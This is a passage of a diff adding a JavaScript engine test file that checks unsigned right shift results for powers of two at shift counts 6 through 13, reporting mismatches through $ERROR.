+if (16384 >>> 6 !== 256) {
+ $ERROR('#207: 16384 >>> 6 === 256. Actual: ' + (16384 >>> 6));
+}
+
+
+if (32768 >>> 6 !== 512) {
+ $ERROR('#208: 32768 >>> 6 === 512. Actual: ' + (32768 >>> 6));
+}
+
+
+if (65536 >>> 6 !== 1024) {
+ $ERROR('#209: 65536 >>> 6 === 1024. Actual: ' + (65536 >>> 6));
+}
+
+
+if (131072 >>> 6 !== 2048) {
+ $ERROR('#210: 131072 >>> 6 === 2048. Actual: ' + (131072 >>> 6));
+}
+
+
+if (262144 >>> 6 !== 4096) {
+ $ERROR('#211: 262144 >>> 6 === 4096. Actual: ' + (262144 >>> 6));
+}
+
+
+if (524288 >>> 6 !== 8192) {
+ $ERROR('#212: 524288 >>> 6 === 8192. Actual: ' + (524288 >>> 6));
+}
+
+
+if (1048576 >>> 6 !== 16384) {
+ $ERROR('#213: 1048576 >>> 6 === 16384. Actual: ' + (1048576 >>> 6));
+}
+
+
+if (2097152 >>> 6 !== 32768) {
+ $ERROR('#214: 2097152 >>> 6 === 32768. Actual: ' + (2097152 >>> 6));
+}
+
+
+if (4194304 >>> 6 !== 65536) {
+ $ERROR('#215: 4194304 >>> 6 === 65536. Actual: ' + (4194304 >>> 6));
+}
+
+
+if (8388608 >>> 6 !== 131072) {
+ $ERROR('#216: 8388608 >>> 6 === 131072. Actual: ' + (8388608 >>> 6));
+}
+
+
+if (16777216 >>> 6 !== 262144) {
+ $ERROR('#217: 16777216 >>> 6 === 262144. Actual: ' + (16777216 >>> 6));
+}
+
+
+if (33554432 >>> 6 !== 524288) {
+ $ERROR('#218: 33554432 >>> 6 === 524288. Actual: ' + (33554432 >>> 6));
+}
+
+
+if (67108864 >>> 6 !== 1048576) {
+ $ERROR('#219: 67108864 >>> 6 === 1048576. Actual: ' + (67108864 >>> 6));
+}
+
+
+if (134217728 >>> 6 !== 2097152) {
+ $ERROR('#220: 134217728 >>> 6 === 2097152. Actual: ' + (134217728 >>> 6));
+}
+
+
+if (268435456 >>> 6 !== 4194304) {
+ $ERROR('#221: 268435456 >>> 6 === 4194304. Actual: ' + (268435456 >>> 6));
+}
+
+
+if (536870912 >>> 6 !== 8388608) {
+ $ERROR('#222: 536870912 >>> 6 === 8388608. Actual: ' + (536870912 >>> 6));
+}
+
+
+if (1073741824 >>> 6 !== 16777216) {
+ $ERROR('#223: 1073741824 >>> 6 === 16777216. Actual: ' + (1073741824 >>> 6));
+}
+
+
+if (2147483648 >>> 6 !== 33554432) {
+ $ERROR('#224: 2147483648 >>> 6 === 33554432. Actual: ' + (2147483648 >>> 6));
+}
+
+
+if (1 >>> 7 !== 0) {
+ $ERROR('#225: 1 >>> 7 === 0. Actual: ' + (1 >>> 7));
+}
+
+
+if (2 >>> 7 !== 0) {
+ $ERROR('#226: 2 >>> 7 === 0. Actual: ' + (2 >>> 7));
+}
+
+
+if (4 >>> 7 !== 0) {
+ $ERROR('#227: 4 >>> 7 === 0. Actual: ' + (4 >>> 7));
+}
+
+
+if (8 >>> 7 !== 0) {
+ $ERROR('#228: 8 >>> 7 === 0. Actual: ' + (8 >>> 7));
+}
+
+
+if (16 >>> 7 !== 0) {
+ $ERROR('#229: 16 >>> 7 === 0. Actual: ' + (16 >>> 7));
+}
+
+
+if (32 >>> 7 !== 0) {
+ $ERROR('#230: 32 >>> 7 === 0. Actual: ' + (32 >>> 7));
+}
+
+
+if (64 >>> 7 !== 0) {
+ $ERROR('#231: 64 >>> 7 === 0. Actual: ' + (64 >>> 7));
+}
+
+
+if (128 >>> 7 !== 1) {
+ $ERROR('#232: 128 >>> 7 === 1. Actual: ' + (128 >>> 7));
+}
+
+
+if (256 >>> 7 !== 2) {
+ $ERROR('#233: 256 >>> 7 === 2. Actual: ' + (256 >>> 7));
+}
+
+
+if (512 >>> 7 !== 4) {
+ $ERROR('#234: 512 >>> 7 === 4. Actual: ' + (512 >>> 7));
+}
+
+
+if (1024 >>> 7 !== 8) {
+ $ERROR('#235: 1024 >>> 7 === 8. Actual: ' + (1024 >>> 7));
+}
+
+
+if (2048 >>> 7 !== 16) {
+ $ERROR('#236: 2048 >>> 7 === 16. Actual: ' + (2048 >>> 7));
+}
+
+
+if (4096 >>> 7 !== 32) {
+ $ERROR('#237: 4096 >>> 7 === 32. Actual: ' + (4096 >>> 7));
+}
+
+
+if (8192 >>> 7 !== 64) {
+ $ERROR('#238: 8192 >>> 7 === 64. Actual: ' + (8192 >>> 7));
+}
+
+
+if (16384 >>> 7 !== 128) {
+ $ERROR('#239: 16384 >>> 7 === 128. Actual: ' + (16384 >>> 7));
+}
+
+
+if (32768 >>> 7 !== 256) {
+ $ERROR('#240: 32768 >>> 7 === 256. Actual: ' + (32768 >>> 7));
+}
+
+
+if (65536 >>> 7 !== 512) {
+ $ERROR('#241: 65536 >>> 7 === 512. Actual: ' + (65536 >>> 7));
+}
+
+
+if (131072 >>> 7 !== 1024) {
+ $ERROR('#242: 131072 >>> 7 === 1024. Actual: ' + (131072 >>> 7));
+}
+
+
+if (262144 >>> 7 !== 2048) {
+ $ERROR('#243: 262144 >>> 7 === 2048. Actual: ' + (262144 >>> 7));
+}
+
+
+if (524288 >>> 7 !== 4096) {
+ $ERROR('#244: 524288 >>> 7 === 4096. Actual: ' + (524288 >>> 7));
+}
+
+
+if (1048576 >>> 7 !== 8192) {
+ $ERROR('#245: 1048576 >>> 7 === 8192. Actual: ' + (1048576 >>> 7));
+}
+
+
+if (2097152 >>> 7 !== 16384) {
+ $ERROR('#246: 2097152 >>> 7 === 16384. Actual: ' + (2097152 >>> 7));
+}
+
+
+if (4194304 >>> 7 !== 32768) {
+ $ERROR('#247: 4194304 >>> 7 === 32768. Actual: ' + (4194304 >>> 7));
+}
+
+
+if (8388608 >>> 7 !== 65536) {
+ $ERROR('#248: 8388608 >>> 7 === 65536. Actual: ' + (8388608 >>> 7));
+}
+
+
+if (16777216 >>> 7 !== 131072) {
+ $ERROR('#249: 16777216 >>> 7 === 131072. Actual: ' + (16777216 >>> 7));
+}
+
+
+if (33554432 >>> 7 !== 262144) {
+ $ERROR('#250: 33554432 >>> 7 === 262144. Actual: ' + (33554432 >>> 7));
+}
+
+
+if (67108864 >>> 7 !== 524288) {
+ $ERROR('#251: 67108864 >>> 7 === 524288. Actual: ' + (67108864 >>> 7));
+}
+
+
+if (134217728 >>> 7 !== 1048576) {
+ $ERROR('#252: 134217728 >>> 7 === 1048576. Actual: ' + (134217728 >>> 7));
+}
+
+
+if (268435456 >>> 7 !== 2097152) {
+ $ERROR('#253: 268435456 >>> 7 === 2097152. Actual: ' + (268435456 >>> 7));
+}
+
+
+if (536870912 >>> 7 !== 4194304) {
+ $ERROR('#254: 536870912 >>> 7 === 4194304. Actual: ' + (536870912 >>> 7));
+}
+
+
+if (1073741824 >>> 7 !== 8388608) {
+ $ERROR('#255: 1073741824 >>> 7 === 8388608. Actual: ' + (1073741824 >>> 7));
+}
+
+
+if (2147483648 >>> 7 !== 16777216) {
+ $ERROR('#256: 2147483648 >>> 7 === 16777216. Actual: ' + (2147483648 >>> 7));
+}
+
+
+if (1 >>> 8 !== 0) {
+ $ERROR('#257: 1 >>> 8 === 0. Actual: ' + (1 >>> 8));
+}
+
+
+if (2 >>> 8 !== 0) {
+ $ERROR('#258: 2 >>> 8 === 0. Actual: ' + (2 >>> 8));
+}
+
+
+if (4 >>> 8 !== 0) {
+ $ERROR('#259: 4 >>> 8 === 0. Actual: ' + (4 >>> 8));
+}
+
+
+if (8 >>> 8 !== 0) {
+ $ERROR('#260: 8 >>> 8 === 0. Actual: ' + (8 >>> 8));
+}
+
+
+if (16 >>> 8 !== 0) {
+ $ERROR('#261: 16 >>> 8 === 0. Actual: ' + (16 >>> 8));
+}
+
+
+if (32 >>> 8 !== 0) {
+ $ERROR('#262: 32 >>> 8 === 0. Actual: ' + (32 >>> 8));
+}
+
+
+if (64 >>> 8 !== 0) {
+ $ERROR('#263: 64 >>> 8 === 0. Actual: ' + (64 >>> 8));
+}
+
+
+if (128 >>> 8 !== 0) {
+ $ERROR('#264: 128 >>> 8 === 0. Actual: ' + (128 >>> 8));
+}
+
+
+if (256 >>> 8 !== 1) {
+ $ERROR('#265: 256 >>> 8 === 1. Actual: ' + (256 >>> 8));
+}
+
+
+if (512 >>> 8 !== 2) {
+ $ERROR('#266: 512 >>> 8 === 2. Actual: ' + (512 >>> 8));
+}
+
+
+if (1024 >>> 8 !== 4) {
+ $ERROR('#267: 1024 >>> 8 === 4. Actual: ' + (1024 >>> 8));
+}
+
+
+if (2048 >>> 8 !== 8) {
+ $ERROR('#268: 2048 >>> 8 === 8. Actual: ' + (2048 >>> 8));
+}
+
+
+if (4096 >>> 8 !== 16) {
+ $ERROR('#269: 4096 >>> 8 === 16. Actual: ' + (4096 >>> 8));
+}
+
+
+if (8192 >>> 8 !== 32) {
+ $ERROR('#270: 8192 >>> 8 === 32. Actual: ' + (8192 >>> 8));
+}
+
+
+if (16384 >>> 8 !== 64) {
+ $ERROR('#271: 16384 >>> 8 === 64. Actual: ' + (16384 >>> 8));
+}
+
+
+if (32768 >>> 8 !== 128) {
+ $ERROR('#272: 32768 >>> 8 === 128. Actual: ' + (32768 >>> 8));
+}
+
+
+if (65536 >>> 8 !== 256) {
+ $ERROR('#273: 65536 >>> 8 === 256. Actual: ' + (65536 >>> 8));
+}
+
+
+if (131072 >>> 8 !== 512) {
+ $ERROR('#274: 131072 >>> 8 === 512. Actual: ' + (131072 >>> 8));
+}
+
+
+if (262144 >>> 8 !== 1024) {
+ $ERROR('#275: 262144 >>> 8 === 1024. Actual: ' + (262144 >>> 8));
+}
+
+
+if (524288 >>> 8 !== 2048) {
+ $ERROR('#276: 524288 >>> 8 === 2048. Actual: ' + (524288 >>> 8));
+}
+
+
+if (1048576 >>> 8 !== 4096) {
+ $ERROR('#277: 1048576 >>> 8 === 4096. Actual: ' + (1048576 >>> 8));
+}
+
+
+if (2097152 >>> 8 !== 8192) {
+ $ERROR('#278: 2097152 >>> 8 === 8192. Actual: ' + (2097152 >>> 8));
+}
+
+
+if (4194304 >>> 8 !== 16384) {
+ $ERROR('#279: 4194304 >>> 8 === 16384. Actual: ' + (4194304 >>> 8));
+}
+
+
+if (8388608 >>> 8 !== 32768) {
+ $ERROR('#280: 8388608 >>> 8 === 32768. Actual: ' + (8388608 >>> 8));
+}
+
+
+if (16777216 >>> 8 !== 65536) {
+ $ERROR('#281: 16777216 >>> 8 === 65536. Actual: ' + (16777216 >>> 8));
+}
+
+
+if (33554432 >>> 8 !== 131072) {
+ $ERROR('#282: 33554432 >>> 8 === 131072. Actual: ' + (33554432 >>> 8));
+}
+
+
+if (67108864 >>> 8 !== 262144) {
+ $ERROR('#283: 67108864 >>> 8 === 262144. Actual: ' + (67108864 >>> 8));
+}
+
+
+if (134217728 >>> 8 !== 524288) {
+ $ERROR('#284: 134217728 >>> 8 === 524288. Actual: ' + (134217728 >>> 8));
+}
+
+
+if (268435456 >>> 8 !== 1048576) {
+ $ERROR('#285: 268435456 >>> 8 === 1048576. Actual: ' + (268435456 >>> 8));
+}
+
+
+if (536870912 >>> 8 !== 2097152) {
+ $ERROR('#286: 536870912 >>> 8 === 2097152. Actual: ' + (536870912 >>> 8));
+}
+
+
+if (1073741824 >>> 8 !== 4194304) {
+ $ERROR('#287: 1073741824 >>> 8 === 4194304. Actual: ' + (1073741824 >>> 8));
+}
+
+
+if (2147483648 >>> 8 !== 8388608) {
+ $ERROR('#288: 2147483648 >>> 8 === 8388608. Actual: ' + (2147483648 >>> 8));
+}
+
+
+if (1 >>> 9 !== 0) {
+ $ERROR('#289: 1 >>> 9 === 0. Actual: ' + (1 >>> 9));
+}
+
+
+if (2 >>> 9 !== 0) {
+ $ERROR('#290: 2 >>> 9 === 0. Actual: ' + (2 >>> 9));
+}
+
+
+if (4 >>> 9 !== 0) {
+ $ERROR('#291: 4 >>> 9 === 0. Actual: ' + (4 >>> 9));
+}
+
+
+if (8 >>> 9 !== 0) {
+ $ERROR('#292: 8 >>> 9 === 0. Actual: ' + (8 >>> 9));
+}
+
+
+if (16 >>> 9 !== 0) {
+ $ERROR('#293: 16 >>> 9 === 0. Actual: ' + (16 >>> 9));
+}
+
+
+if (32 >>> 9 !== 0) {
+ $ERROR('#294: 32 >>> 9 === 0. Actual: ' + (32 >>> 9));
+}
+
+
+if (64 >>> 9 !== 0) {
+ $ERROR('#295: 64 >>> 9 === 0. Actual: ' + (64 >>> 9));
+}
+
+
+if (128 >>> 9 !== 0) {
+ $ERROR('#296: 128 >>> 9 === 0. Actual: ' + (128 >>> 9));
+}
+
+
+if (256 >>> 9 !== 0) {
+ $ERROR('#297: 256 >>> 9 === 0. Actual: ' + (256 >>> 9));
+}
+
+
+if (512 >>> 9 !== 1) {
+ $ERROR('#298: 512 >>> 9 === 1. Actual: ' + (512 >>> 9));
+}
+
+
+if (1024 >>> 9 !== 2) {
+ $ERROR('#299: 1024 >>> 9 === 2. Actual: ' + (1024 >>> 9));
+}
+
+
+if (2048 >>> 9 !== 4) {
+ $ERROR('#300: 2048 >>> 9 === 4. Actual: ' + (2048 >>> 9));
+}
+
+
+if (4096 >>> 9 !== 8) {
+ $ERROR('#301: 4096 >>> 9 === 8. Actual: ' + (4096 >>> 9));
+}
+
+
+if (8192 >>> 9 !== 16) {
+ $ERROR('#302: 8192 >>> 9 === 16. Actual: ' + (8192 >>> 9));
+}
+
+
+if (16384 >>> 9 !== 32) {
+ $ERROR('#303: 16384 >>> 9 === 32. Actual: ' + (16384 >>> 9));
+}
+
+
+if (32768 >>> 9 !== 64) {
+ $ERROR('#304: 32768 >>> 9 === 64. Actual: ' + (32768 >>> 9));
+}
+
+
+if (65536 >>> 9 !== 128) {
+ $ERROR('#305: 65536 >>> 9 === 128. Actual: ' + (65536 >>> 9));
+}
+
+
+if (131072 >>> 9 !== 256) {
+ $ERROR('#306: 131072 >>> 9 === 256. Actual: ' + (131072 >>> 9));
+}
+
+
+if (262144 >>> 9 !== 512) {
+ $ERROR('#307: 262144 >>> 9 === 512. Actual: ' + (262144 >>> 9));
+}
+
+
+if (524288 >>> 9 !== 1024) {
+ $ERROR('#308: 524288 >>> 9 === 1024. Actual: ' + (524288 >>> 9));
+}
+
+
+if (1048576 >>> 9 !== 2048) {
+ $ERROR('#309: 1048576 >>> 9 === 2048. Actual: ' + (1048576 >>> 9));
+}
+
+
+if (2097152 >>> 9 !== 4096) {
+ $ERROR('#310: 2097152 >>> 9 === 4096. Actual: ' + (2097152 >>> 9));
+}
+
+
+if (4194304 >>> 9 !== 8192) {
+ $ERROR('#311: 4194304 >>> 9 === 8192. Actual: ' + (4194304 >>> 9));
+}
+
+
+if (8388608 >>> 9 !== 16384) {
+ $ERROR('#312: 8388608 >>> 9 === 16384. Actual: ' + (8388608 >>> 9));
+}
+
+
+if (16777216 >>> 9 !== 32768) {
+ $ERROR('#313: 16777216 >>> 9 === 32768. Actual: ' + (16777216 >>> 9));
+}
+
+
+if (33554432 >>> 9 !== 65536) {
+ $ERROR('#314: 33554432 >>> 9 === 65536. Actual: ' + (33554432 >>> 9));
+}
+
+
+if (67108864 >>> 9 !== 131072) {
+ $ERROR('#315: 67108864 >>> 9 === 131072. Actual: ' + (67108864 >>> 9));
+}
+
+
+if (134217728 >>> 9 !== 262144) {
+ $ERROR('#316: 134217728 >>> 9 === 262144. Actual: ' + (134217728 >>> 9));
+}
+
+
+if (268435456 >>> 9 !== 524288) {
+ $ERROR('#317: 268435456 >>> 9 === 524288. Actual: ' + (268435456 >>> 9));
+}
+
+
+if (536870912 >>> 9 !== 1048576) {
+ $ERROR('#318: 536870912 >>> 9 === 1048576. Actual: ' + (536870912 >>> 9));
+}
+
+
+if (1073741824 >>> 9 !== 2097152) {
+ $ERROR('#319: 1073741824 >>> 9 === 2097152. Actual: ' + (1073741824 >>> 9));
+}
+
+
+if (2147483648 >>> 9 !== 4194304) {
+ $ERROR('#320: 2147483648 >>> 9 === 4194304. Actual: ' + (2147483648 >>> 9));
+}
+
+
+if (1 >>> 10 !== 0) {
+ $ERROR('#321: 1 >>> 10 === 0. Actual: ' + (1 >>> 10));
+}
+
+
+if (2 >>> 10 !== 0) {
+ $ERROR('#322: 2 >>> 10 === 0. Actual: ' + (2 >>> 10));
+}
+
+
+if (4 >>> 10 !== 0) {
+ $ERROR('#323: 4 >>> 10 === 0. Actual: ' + (4 >>> 10));
+}
+
+
+if (8 >>> 10 !== 0) {
+ $ERROR('#324: 8 >>> 10 === 0. Actual: ' + (8 >>> 10));
+}
+
+
+if (16 >>> 10 !== 0) {
+ $ERROR('#325: 16 >>> 10 === 0. Actual: ' + (16 >>> 10));
+}
+
+
+if (32 >>> 10 !== 0) {
+ $ERROR('#326: 32 >>> 10 === 0. Actual: ' + (32 >>> 10));
+}
+
+
+if (64 >>> 10 !== 0) {
+ $ERROR('#327: 64 >>> 10 === 0. Actual: ' + (64 >>> 10));
+}
+
+
+if (128 >>> 10 !== 0) {
+ $ERROR('#328: 128 >>> 10 === 0. Actual: ' + (128 >>> 10));
+}
+
+
+if (256 >>> 10 !== 0) {
+ $ERROR('#329: 256 >>> 10 === 0. Actual: ' + (256 >>> 10));
+}
+
+
+if (512 >>> 10 !== 0) {
+ $ERROR('#330: 512 >>> 10 === 0. Actual: ' + (512 >>> 10));
+}
+
+
+if (1024 >>> 10 !== 1) {
+ $ERROR('#331: 1024 >>> 10 === 1. Actual: ' + (1024 >>> 10));
+}
+
+
+if (2048 >>> 10 !== 2) {
+ $ERROR('#332: 2048 >>> 10 === 2. Actual: ' + (2048 >>> 10));
+}
+
+
+if (4096 >>> 10 !== 4) {
+ $ERROR('#333: 4096 >>> 10 === 4. Actual: ' + (4096 >>> 10));
+}
+
+
+if (8192 >>> 10 !== 8) {
+ $ERROR('#334: 8192 >>> 10 === 8. Actual: ' + (8192 >>> 10));
+}
+
+
+if (16384 >>> 10 !== 16) {
+ $ERROR('#335: 16384 >>> 10 === 16. Actual: ' + (16384 >>> 10));
+}
+
+
+if (32768 >>> 10 !== 32) {
+ $ERROR('#336: 32768 >>> 10 === 32. Actual: ' + (32768 >>> 10));
+}
+
+
+if (65536 >>> 10 !== 64) {
+ $ERROR('#337: 65536 >>> 10 === 64. Actual: ' + (65536 >>> 10));
+}
+
+
+if (131072 >>> 10 !== 128) {
+ $ERROR('#338: 131072 >>> 10 === 128. Actual: ' + (131072 >>> 10));
+}
+
+
+if (262144 >>> 10 !== 256) {
+ $ERROR('#339: 262144 >>> 10 === 256. Actual: ' + (262144 >>> 10));
+}
+
+
+if (524288 >>> 10 !== 512) {
+ $ERROR('#340: 524288 >>> 10 === 512. Actual: ' + (524288 >>> 10));
+}
+
+
+if (1048576 >>> 10 !== 1024) {
+ $ERROR('#341: 1048576 >>> 10 === 1024. Actual: ' + (1048576 >>> 10));
+}
+
+
+if (2097152 >>> 10 !== 2048) {
+ $ERROR('#342: 2097152 >>> 10 === 2048. Actual: ' + (2097152 >>> 10));
+}
+
+
+if (4194304 >>> 10 !== 4096) {
+ $ERROR('#343: 4194304 >>> 10 === 4096. Actual: ' + (4194304 >>> 10));
+}
+
+
+if (8388608 >>> 10 !== 8192) {
+ $ERROR('#344: 8388608 >>> 10 === 8192. Actual: ' + (8388608 >>> 10));
+}
+
+
+if (16777216 >>> 10 !== 16384) {
+ $ERROR('#345: 16777216 >>> 10 === 16384. Actual: ' + (16777216 >>> 10));
+}
+
+
+if (33554432 >>> 10 !== 32768) {
+ $ERROR('#346: 33554432 >>> 10 === 32768. Actual: ' + (33554432 >>> 10));
+}
+
+
+if (67108864 >>> 10 !== 65536) {
+ $ERROR('#347: 67108864 >>> 10 === 65536. Actual: ' + (67108864 >>> 10));
+}
+
+
+if (134217728 >>> 10 !== 131072) {
+ $ERROR('#348: 134217728 >>> 10 === 131072. Actual: ' + (134217728 >>> 10));
+}
+
+
+if (268435456 >>> 10 !== 262144) {
+ $ERROR('#349: 268435456 >>> 10 === 262144. Actual: ' + (268435456 >>> 10));
+}
+
+
+if (536870912 >>> 10 !== 524288) {
+ $ERROR('#350: 536870912 >>> 10 === 524288. Actual: ' + (536870912 >>> 10));
+}
+
+
+if (1073741824 >>> 10 !== 1048576) {
+ $ERROR('#351: 1073741824 >>> 10 === 1048576. Actual: ' + (1073741824 >>> 10));
+}
+
+
+if (2147483648 >>> 10 !== 2097152) {
+ $ERROR('#352: 2147483648 >>> 10 === 2097152. Actual: ' + (2147483648 >>> 10));
+}
+
+
+if (1 >>> 11 !== 0) {
+ $ERROR('#353: 1 >>> 11 === 0. Actual: ' + (1 >>> 11));
+}
+
+
+if (2 >>> 11 !== 0) {
+ $ERROR('#354: 2 >>> 11 === 0. Actual: ' + (2 >>> 11));
+}
+
+
+if (4 >>> 11 !== 0) {
+ $ERROR('#355: 4 >>> 11 === 0. Actual: ' + (4 >>> 11));
+}
+
+
+if (8 >>> 11 !== 0) {
+ $ERROR('#356: 8 >>> 11 === 0. Actual: ' + (8 >>> 11));
+}
+
+
+if (16 >>> 11 !== 0) {
+ $ERROR('#357: 16 >>> 11 === 0. Actual: ' + (16 >>> 11));
+}
+
+
+if (32 >>> 11 !== 0) {
+ $ERROR('#358: 32 >>> 11 === 0. Actual: ' + (32 >>> 11));
+}
+
+
+if (64 >>> 11 !== 0) {
+ $ERROR('#359: 64 >>> 11 === 0. Actual: ' + (64 >>> 11));
+}
+
+
+if (128 >>> 11 !== 0) {
+ $ERROR('#360: 128 >>> 11 === 0. Actual: ' + (128 >>> 11));
+}
+
+
+if (256 >>> 11 !== 0) {
+ $ERROR('#361: 256 >>> 11 === 0. Actual: ' + (256 >>> 11));
+}
+
+
+if (512 >>> 11 !== 0) {
+ $ERROR('#362: 512 >>> 11 === 0. Actual: ' + (512 >>> 11));
+}
+
+
+if (1024 >>> 11 !== 0) {
+ $ERROR('#363: 1024 >>> 11 === 0. Actual: ' + (1024 >>> 11));
+}
+
+
+if (2048 >>> 11 !== 1) {
+ $ERROR('#364: 2048 >>> 11 === 1. Actual: ' + (2048 >>> 11));
+}
+
+
+if (4096 >>> 11 !== 2) {
+ $ERROR('#365: 4096 >>> 11 === 2. Actual: ' + (4096 >>> 11));
+}
+
+
+if (8192 >>> 11 !== 4) {
+ $ERROR('#366: 8192 >>> 11 === 4. Actual: ' + (8192 >>> 11));
+}
+
+
+if (16384 >>> 11 !== 8) {
+ $ERROR('#367: 16384 >>> 11 === 8. Actual: ' + (16384 >>> 11));
+}
+
+
+if (32768 >>> 11 !== 16) {
+ $ERROR('#368: 32768 >>> 11 === 16. Actual: ' + (32768 >>> 11));
+}
+
+
+if (65536 >>> 11 !== 32) {
+ $ERROR('#369: 65536 >>> 11 === 32. Actual: ' + (65536 >>> 11));
+}
+
+
+if (131072 >>> 11 !== 64) {
+ $ERROR('#370: 131072 >>> 11 === 64. Actual: ' + (131072 >>> 11));
+}
+
+
+if (262144 >>> 11 !== 128) {
+ $ERROR('#371: 262144 >>> 11 === 128. Actual: ' + (262144 >>> 11));
+}
+
+
+if (524288 >>> 11 !== 256) {
+ $ERROR('#372: 524288 >>> 11 === 256. Actual: ' + (524288 >>> 11));
+}
+
+
+if (1048576 >>> 11 !== 512) {
+ $ERROR('#373: 1048576 >>> 11 === 512. Actual: ' + (1048576 >>> 11));
+}
+
+
+if (2097152 >>> 11 !== 1024) {
+ $ERROR('#374: 2097152 >>> 11 === 1024. Actual: ' + (2097152 >>> 11));
+}
+
+
+if (4194304 >>> 11 !== 2048) {
+ $ERROR('#375: 4194304 >>> 11 === 2048. Actual: ' + (4194304 >>> 11));
+}
+
+
+if (8388608 >>> 11 !== 4096) {
+ $ERROR('#376: 8388608 >>> 11 === 4096. Actual: ' + (8388608 >>> 11));
+}
+
+
+if (16777216 >>> 11 !== 8192) {
+ $ERROR('#377: 16777216 >>> 11 === 8192. Actual: ' + (16777216 >>> 11));
+}
+
+
+if (33554432 >>> 11 !== 16384) {
+ $ERROR('#378: 33554432 >>> 11 === 16384. Actual: ' + (33554432 >>> 11));
+}
+
+
+if (67108864 >>> 11 !== 32768) {
+ $ERROR('#379: 67108864 >>> 11 === 32768. Actual: ' + (67108864 >>> 11));
+}
+
+
+if (134217728 >>> 11 !== 65536) {
+ $ERROR('#380: 134217728 >>> 11 === 65536. Actual: ' + (134217728 >>> 11));
+}
+
+
+if (268435456 >>> 11 !== 131072) {
+ $ERROR('#381: 268435456 >>> 11 === 131072. Actual: ' + (268435456 >>> 11));
+}
+
+
+if (536870912 >>> 11 !== 262144) {
+ $ERROR('#382: 536870912 >>> 11 === 262144. Actual: ' + (536870912 >>> 11));
+}
+
+
+if (1073741824 >>> 11 !== 524288) {
+ $ERROR('#383: 1073741824 >>> 11 === 524288. Actual: ' + (1073741824 >>> 11));
+}
+
+
+if (2147483648 >>> 11 !== 1048576) {
+ $ERROR('#384: 2147483648 >>> 11 === 1048576. Actual: ' + (2147483648 >>> 11));
+}
+
+
+if (1 >>> 12 !== 0) {
+ $ERROR('#385: 1 >>> 12 === 0. Actual: ' + (1 >>> 12));
+}
+
+
+if (2 >>> 12 !== 0) {
+ $ERROR('#386: 2 >>> 12 === 0. Actual: ' + (2 >>> 12));
+}
+
+
+if (4 >>> 12 !== 0) {
+ $ERROR('#387: 4 >>> 12 === 0. Actual: ' + (4 >>> 12));
+}
+
+
+if (8 >>> 12 !== 0) {
+ $ERROR('#388: 8 >>> 12 === 0. Actual: ' + (8 >>> 12));
+}
+
+
+if (16 >>> 12 !== 0) {
+ $ERROR('#389: 16 >>> 12 === 0. Actual: ' + (16 >>> 12));
+}
+
+
+if (32 >>> 12 !== 0) {
+ $ERROR('#390: 32 >>> 12 === 0. Actual: ' + (32 >>> 12));
+}
+
+
+if (64 >>> 12 !== 0) {
+ $ERROR('#391: 64 >>> 12 === 0. Actual: ' + (64 >>> 12));
+}
+
+
+if (128 >>> 12 !== 0) {
+ $ERROR('#392: 128 >>> 12 === 0. Actual: ' + (128 >>> 12));
+}
+
+
+if (256 >>> 12 !== 0) {
+ $ERROR('#393: 256 >>> 12 === 0. Actual: ' + (256 >>> 12));
+}
+
+
+if (512 >>> 12 !== 0) {
+ $ERROR('#394: 512 >>> 12 === 0. Actual: ' + (512 >>> 12));
+}
+
+
+if (1024 >>> 12 !== 0) {
+ $ERROR('#395: 1024 >>> 12 === 0. Actual: ' + (1024 >>> 12));
+}
+
+
+if (2048 >>> 12 !== 0) {
+ $ERROR('#396: 2048 >>> 12 === 0. Actual: ' + (2048 >>> 12));
+}
+
+
+if (4096 >>> 12 !== 1) {
+ $ERROR('#397: 4096 >>> 12 === 1. Actual: ' + (4096 >>> 12));
+}
+
+
+if (8192 >>> 12 !== 2) {
+ $ERROR('#398: 8192 >>> 12 === 2. Actual: ' + (8192 >>> 12));
+}
+
+
+if (16384 >>> 12 !== 4) {
+ $ERROR('#399: 16384 >>> 12 === 4. Actual: ' + (16384 >>> 12));
+}
+
+
+if (32768 >>> 12 !== 8) {
+ $ERROR('#400: 32768 >>> 12 === 8. Actual: ' + (32768 >>> 12));
+}
+
+
+if (65536 >>> 12 !== 16) {
+ $ERROR('#401: 65536 >>> 12 === 16. Actual: ' + (65536 >>> 12));
+}
+
+
+if (131072 >>> 12 !== 32) {
+ $ERROR('#402: 131072 >>> 12 === 32. Actual: ' + (131072 >>> 12));
+}
+
+
+if (262144 >>> 12 !== 64) {
+ $ERROR('#403: 262144 >>> 12 === 64. Actual: ' + (262144 >>> 12));
+}
+
+
+if (524288 >>> 12 !== 128) {
+ $ERROR('#404: 524288 >>> 12 === 128. Actual: ' + (524288 >>> 12));
+}
+
+
+if (1048576 >>> 12 !== 256) {
+ $ERROR('#405: 1048576 >>> 12 === 256. Actual: ' + (1048576 >>> 12));
+}
+
+
+if (2097152 >>> 12 !== 512) {
+ $ERROR('#406: 2097152 >>> 12 === 512. Actual: ' + (2097152 >>> 12));
+}
+
+
+if (4194304 >>> 12 !== 1024) {
+ $ERROR('#407: 4194304 >>> 12 === 1024. Actual: ' + (4194304 >>> 12));
+}
+
+
+if (8388608 >>> 12 !== 2048) {
+ $ERROR('#408: 8388608 >>> 12 === 2048. Actual: ' + (8388608 >>> 12));
+}
+
+
+if (16777216 >>> 12 !== 4096) {
+ $ERROR('#409: 16777216 >>> 12 === 4096. Actual: ' + (16777216 >>> 12));
+}
+
+
+if (33554432 >>> 12 !== 8192) {
+ $ERROR('#410: 33554432 >>> 12 === 8192. Actual: ' + (33554432 >>> 12));
+}
+
+
+if (67108864 >>> 12 !== 16384) {
+ $ERROR('#411: 67108864 >>> 12 === 16384. Actual: ' + (67108864 >>> 12));
+}
+
+
+if (134217728 >>> 12 !== 32768) {
+ $ERROR('#412: 134217728 >>> 12 === 32768. Actual: ' + (134217728 >>> 12));
+}
+
+
+if (268435456 >>> 12 !== 65536) {
+ $ERROR('#413: 268435456 >>> 12 === 65536. Actual: ' + (268435456 >>> 12));
+}
+
+
+if (536870912 >>> 12 !== 131072) {
+ $ERROR('#414: 536870912 >>> 12 === 131072. Actual: ' + (536870912 >>> 12));
+}
+
+
+if (1073741824 >>> 12 !== 262144) {
+ $ERROR('#415: 1073741824 >>> 12 === 262144. Actual: ' + (1073741824 >>> 12));
+}
+
+
+if (2147483648 >>> 12 !== 524288) {
+ $ERROR('#416: 2147483648 >>> 12 === 524288. Actual: ' + (2147483648 >>> 12));
+}
+
+
+if (1 >>> 13 !== 0) {
+ $ERROR('#417: 1 >>> 13 === 0. Actual: ' + (1 >>> 13));
+}
+
+
+if (2 >>> 13 !== 0) {
+ $ERROR('#418: 2 >>> 13 === 0. Actual: ' + (2 >>> 13));
+}
+
+
+if (4 >>> 13 !== 0) {
